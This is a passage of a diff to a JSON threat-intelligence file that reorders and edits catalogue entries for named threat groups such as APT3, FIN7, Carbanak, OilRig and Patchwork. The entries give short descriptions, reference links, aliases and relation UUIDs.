"dest-uuid": "d144c83e-2302-4947-9e24-856fbf7949ae", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "APT3" + }, + { + "description": "Ke3chang is a threat group attributed to actors operating out of China.[[Citation: Villeneuve et al 2014]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0004", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + ], + "synonyms": [ + "Ke3chang" + ], + "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c" + }, + "value": "Ke3chang" + }, + { + "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.[[Citation: Citizen Lab Group5]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0043", + "https://citizenlab.org/2016/08/group5-syria/" + ], + "synonyms": [ + "Group5" + ], + "uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40" + }, + "value": "Group5" + }, { "description": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.[[Citation: FireEye FIN6 April 2016]]", "meta": { @@ -367,27 +842,137 @@ "value": "FIN6" }, { - "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries.[[Citation: Cylance Dust Storm]]", + "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately.[[Citation: FireEye FIN7 March 2017]][[Citation: FireEye FIN7 April 2017]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0031", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + "https://attack.mitre.org/wiki/Group/G0046", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" ], "synonyms": [ - "Dust Storm" + "FIN7" ], - "uuid": "ae41895a-243f-4a65-b99b-d85022326c31" + "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc" }, "related": [ { - "dest-uuid": "9e71024e-817f-45b0-92a0-d886c30bc929", + "dest-uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Dust Storm" + "value": "FIN7" + }, + { + "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.[[Citation: Securelist GCMAN]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0036", + "https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/" + ], + "synonyms": [ + "GCMAN" + ], + "uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f" + }, + "related": [ + { + "dest-uuid": "d93889de-b4bc-4a29-9ce7-d67717c140a0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "GCMAN" + }, + { + "description": "Axiom is a cyber espionage group suspected to be associated with the Chinese government.Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0001", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", + "https://securelist.com/blog/incidents/70991/games-are-over/", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" + ], + "synonyms": [ + "Axiom", + "Group 72" + ], + "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973" + }, + "related": [ + { + "dest-uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "090242d7-73fc-4738-af68-20162f7a5aae", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Axiom" + }, + { + "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak).[[Citation: Kaspersky Carbanak]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0008", + "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf" + ], + "synonyms": [ + "Carbanak", + "Anunak" + ], + "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c" + }, + "related": [ + { + "dest-uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Carbanak" }, { "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver.[[Citation: Cylance Cleaver]] Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).[[Citation: Dell Threat Group 2889]]", @@ -478,104 +1063,6 @@ ], "value": "Cleaver" }, - { - "description": "APT12 is a threat group that has been attributed to China.[[Citation: Meyers Numbered Panda]] It is also known as DynCalc, IXESHE, and Numbered Panda.[[Citation: Moran 2014]][[Citation: Meyers Numbered Panda]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0005", - "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", - "http://www.crowdstrike.com/blog/whois-numbered-panda/" - ], - "synonyms": [ - "APT12", - "IXESHE", - "DynCalc", - "Numbered Panda" - ], - "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb" - }, - "related": [ - { - "dest-uuid": "48146604-6693-4db1-bd94-159744726514", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "APT12" - }, - { - "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. .[[Citation: Haq 2014]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0002", - "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" - ], - "synonyms": [ - "Moafee" - ], - "uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f" - }, - "related": [ - { - "dest-uuid": "a9b44750-992c-4743-8922-129880d277ea", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Moafee" - }, - { - "description": "is a Chinese threat group that has extensively used strategic Web compromises to target victims.[[Citation: Dell TG-3390]] The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors.[[Citation: SecureWorks BRONZE UNION June 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0027", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.secureworks.com/research/bronze-union" - ], - "synonyms": [ - "Threat Group-3390", - "TG-3390", - "Emissary Panda", - "BRONZE UNION" - ], - "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c" - }, - "related": [ - { - "dest-uuid": "834e0acd-d92a-4e38-bb14-dc4159d7cb32", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f1b9f7d6-6ab1-404b-91a6-a1ed1845c045", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "4af45fea-72d3-11e8-846c-d37699506c8d", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Threat Group-3390" - }, { "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. [[Citation: Operation Quantum Entanglement]][[Citation: Symbiotic APT Groups]] It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. [[Citation: New DragonOK]]", "meta": { @@ -609,67 +1096,157 @@ "value": "DragonOK" }, { - "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398.[[Citation: Mandiant APT1]]", + "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing.[[Citation: Kaspersky Darkhotel]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0006", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + "https://attack.mitre.org/wiki/Group/G0012", + "https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf" ], "synonyms": [ - "APT1", - "Comment Crew", - "Comment Group", - "Comment Panda" + "Darkhotel" ], - "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662" + "uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383" + }, + "value": "Darkhotel" + }, + { + "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems.[[Citation: Symantec Dragonfly]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0035", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" + ], + "synonyms": [ + "Dragonfly", + "Energetic Bear" + ], + "uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1" }, "related": [ { - "dest-uuid": "1cb7e1cc-d695-42b1-92f4-fd0112a3c9be", + "dest-uuid": "64d6559c-6d5c-4585-bbf9-c17868f763ee", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "APT1" + "value": "Dragonfly" }, { - "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government.[[Citation: TrendMicro Taidoor]]", + "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.[[Citation: Kaspersky Equation QA]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0015", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" + "https://attack.mitre.org/wiki/Group/G0020", + "https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf" ], "synonyms": [ - "Taidoor" + "Equation" ], - "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46" + "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9" }, - "value": "Taidoor" + "value": "Equation" }, { - "description": "Night Dragon is a threat group that has conducted activity originating primarily in China.[[Citation: McAfee Night Dragon]]", + "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent.[[Citation: Forcepoint Monsoon]] Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010.[[Citation: Operation Hangover May 2013]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0014", - "http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf" + "https://attack.mitre.org/wiki/Group/G0042", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure.pdf" ], "synonyms": [ - "Night Dragon" + "MONSOON", + "Operation Hangover" ], - "uuid": "23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8" + "uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772" }, "related": [ { - "dest-uuid": "b3714d59-b61e-4713-903a-9b4f04ae7f3d", + "dest-uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "18d473a5-831b-47a5-97a1-a32156299825", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Night Dragon" + "value": "MONSOON" + }, + { + "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).[[Citation: ESET RTM Feb 2017]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0048", + "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + ], + "synonyms": [ + "RTM" + ], + "uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f" + }, + "value": "RTM" + }, + { + "description": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. .[[Citation: Haq 2014]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0002", + "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + ], + "synonyms": [ + "Moafee" + ], + "uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f" + }, + "related": [ + { + "dest-uuid": "a9b44750-992c-4743-8922-129880d277ea", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Moafee" + }, + { + "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.[[Citation: DustySky]][[Citation: DustySky2]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Group/G0021", + "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf" + ], + "synonyms": [ + "Molerats", + "Gaza cybergang", + "Operation Molerats" + ], + "uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411" + }, + "related": [ + { + "dest-uuid": "f7c2e501-73b1-400f-a5d9-2e2e07b7dfde", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Molerats" }, { "description": "Naikon is a threat group that has focused on targets around the South China Sea.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]", @@ -717,347 +1294,6 @@ ], "value": "Naikon" }, - { - "description": "Ke3chang is a threat group attributed to actors operating out of China.[[Citation: Villeneuve et al 2014]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0004", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" - ], - "synonyms": [ - "Ke3chang" - ], - "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c" - }, - "value": "Ke3chang" - }, - { - "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums.[[Citation: Cymmetria Patchwork]][[Citation: Symantec Patchwork]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0040", - "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf", - "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" - ], - "synonyms": [ - "Patchwork", - "Dropping Elephant", - "Chinastrats" - ], - "uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0" - }, - "related": [ - { - "dest-uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "18d473a5-831b-47a5-97a1-a32156299825", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Patchwork" - }, - { - "description": "APT30 is a threat group suspected to be associated with the Chinese government.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0013", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/" - ], - "synonyms": [ - "APT30" - ], - "uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd" - }, - "related": [ - { - "dest-uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "2f1fd017-9df6-4759-91fb-e7039609b5ff", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "5e0a7cf2-6107-4d5f-9dd0-9df38b1fcba8", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f26144c5-8593-4e78-831a-11f6452d809b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "APT30" - }, - { - "description": "MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent.[[Citation: Forcepoint Monsoon]] Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010.[[Citation: Operation Hangover May 2013]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0042", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", - "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling%20an%20Indian%20Cyberattack%20Infrastructure.pdf" - ], - "synonyms": [ - "MONSOON", - "Operation Hangover" - ], - "uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772" - }, - "related": [ - { - "dest-uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "18d473a5-831b-47a5-97a1-a32156299825", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "MONSOON" - }, - { - "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.[[Citation: FireEye APT17]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0025", - "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" - ], - "synonyms": [ - "APT17", - "Deputy Dog" - ], - "uuid": "090242d7-73fc-4738-af68-20162f7a5aae" - }, - "related": [ - { - "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "APT17" - }, - { - "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately.[[Citation: FireEye FIN7 March 2017]][[Citation: FireEye FIN7 April 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0046", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" - ], - "synonyms": [ - "FIN7" - ], - "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc" - }, - "related": [ - { - "dest-uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "FIN7" - }, - { - "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security.[[Citation: FireEye Clandestine Wolf]][[Citation: Recorded Future APT3 May 2017]] This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.[[Citation: FireEye Clandestine Wolf]][[Citation: FireEye Operation Double Tap]] As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.[[Citation: Symantec Buckeye]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0022", - "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", - "https://www.recordedfuture.com/chinese-mss-behind-apt3/", - "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html", - "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" - ], - "synonyms": [ - "APT3", - "Gothic Panda", - "Pirpi", - "UPS Team", - "Buckeye", - "Threat Group-0110", - "TG-0110" - ], - "uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9" - }, - "related": [ - { - "dest-uuid": "d144c83e-2302-4947-9e24-856fbf7949ae", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "APT3" - }, - { - "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.[[Citation: Securelist GCMAN]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0036", - "https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/" - ], - "synonyms": [ - "GCMAN" - ], - "uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f" - }, - "related": [ - { - "dest-uuid": "d93889de-b4bc-4a29-9ce7-d67717c140a0", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "GCMAN" - }, - { - "description": "Lazarus Group is a threat group that has been attributed to the North Korean government.Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.[[Citation: Novetta Blockbuster]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0032", - "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", - "https://www.us-cert.gov/ncas/alerts/TA17-164A" - ], - "synonyms": [ - "Lazarus Group", - "HIDDEN COBRA", - "Guardians of Peace" - ], - "uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a" - }, - "related": [ - { - "dest-uuid": "68391641-859f-4a9a-9a1e-3e5cf71ec376", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "027a1428-6e79-4a4b-82b9-e698e8525c2b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Lazarus Group" - }, - { - "description": "Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia.[[Citation: Lotus Blossom Jun 2015]] It is also known as Spring Dragon.[[Citation: Spring Dragon Jun 2015]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0030", - "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html", - "https://securelist.com/blog/research/70726/the-spring-dragon-apt/" - ], - "synonyms": [ - "Lotus Blossom", - "Spring Dragon" - ], - "uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7" - }, - "related": [ - { - "dest-uuid": "32fafa69-fe3c-49db-afd4-aac2664bcf0d", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Lotus Blossom" - }, - { - "description": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.[[Citation: Kaspersky Equation QA]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0020", - "https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf" - ], - "synonyms": [ - "Equation" - ], - "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9" - }, - "value": "Equation" - }, - { - "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing.[[Citation: Kaspersky Darkhotel]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0012", - "https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf" - ], - "synonyms": [ - "Darkhotel" - ], - "uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383" - }, - "value": "Darkhotel" - }, { "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern victims since at least 2015.[[Citation: Palo Alto OilRig April 2017]][[Citation: ClearSky OilRig Jan 2017]][[Citation: Palo Alto OilRig May 2016]][[Citation: Palo Alto OilRig Oct 2016]]", "meta": { @@ -1162,192 +1398,61 @@ "value": "OilRig" }, { - "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems.[[Citation: Symantec Dragonfly]]", + "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.[[Citation: Bizeul 2014]][[Citation: Villeneuve 2014]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0035", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" + "https://attack.mitre.org/wiki/Group/G0011", + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", + "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" ], "synonyms": [ - "Dragonfly", - "Energetic Bear" + "PittyTiger" ], - "uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1" + "uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647" }, "related": [ { - "dest-uuid": "64d6559c-6d5c-4585-bbf9-c17868f763ee", + "dest-uuid": "4d37813c-b8e9-4e58-a758-03168d8aa189", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Dragonfly" + "value": "PittyTiger" }, { - "description": "Suckfly is a China-based threat group that has been active since at least 2014.[[Citation: Symantec Suckfly March 2016]]", + "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums.[[Citation: Cymmetria Patchwork]][[Citation: Symantec Patchwork]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0039", - "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + "https://attack.mitre.org/wiki/Group/G0040", + "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf", + "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" ], "synonyms": [ - "Suckfly" + "Patchwork", + "Dropping Elephant", + "Chinastrats" ], - "uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d" + "uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0" }, "related": [ { - "dest-uuid": "5abb12e7-5066-4f84-a109-49a037205c76", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Suckfly" - }, - { - "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.[[Citation: Citizen Lab Stealth Falcon May 2016]]", - 